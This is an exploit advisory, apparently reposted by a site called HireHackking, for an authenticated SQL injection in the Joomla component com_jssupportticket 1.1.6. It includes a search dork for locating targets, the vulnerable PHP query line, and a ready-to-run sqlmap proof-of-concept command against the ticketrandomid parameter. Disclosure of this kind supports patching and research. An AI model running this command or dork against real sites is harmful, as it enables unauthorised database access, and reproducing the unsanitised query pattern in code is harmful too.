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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#Exploit Title: Joomla! component com_jssupportticket - Authenticated SQL Injection
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.6
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 31 in file admin/models/ticketreply.php
	
	...snip...
    24	    function storeTicketReplies($ticketid, $message, $created, $data2) {
    25	        if (!is_numeric($ticketid))
    26	            return false;
    27	
    28	        //validate reply for break down
    29	        $ticketrandomid   = $data2['ticketrandomid'];		//!!!
    30	        $db = $this->getDBo();
    31	        $query = "SELECT id FROM `#__js_ticket_tickets` WHERE ticketid='$ticketrandomid'";	//!!!
    32	        $db->setQuery($query);
    33	        $res = $db->loadResult();
    34	        if($res != $ticketid){
    35	            return false;
    36	        }//end
    ...snip...

#####################################
#PoC:
#####################################
$> sqlmap.py -u "http://localhost/index.php" --random-agent --dbms=mysql --method POST --data 'option=com_jssupportticket&c=ticket&task=actionticket&Itemid=666&ticketid=666&callfrom=savemessage&message=woot&created=woot&ticketrandomid=woot&{VALID_FORMTOKEN_FROM_TICKETDETAIL}=1' -p ticketrandomid --cookie 'VALID_SESSION_ID=VALID_SESSION_ID'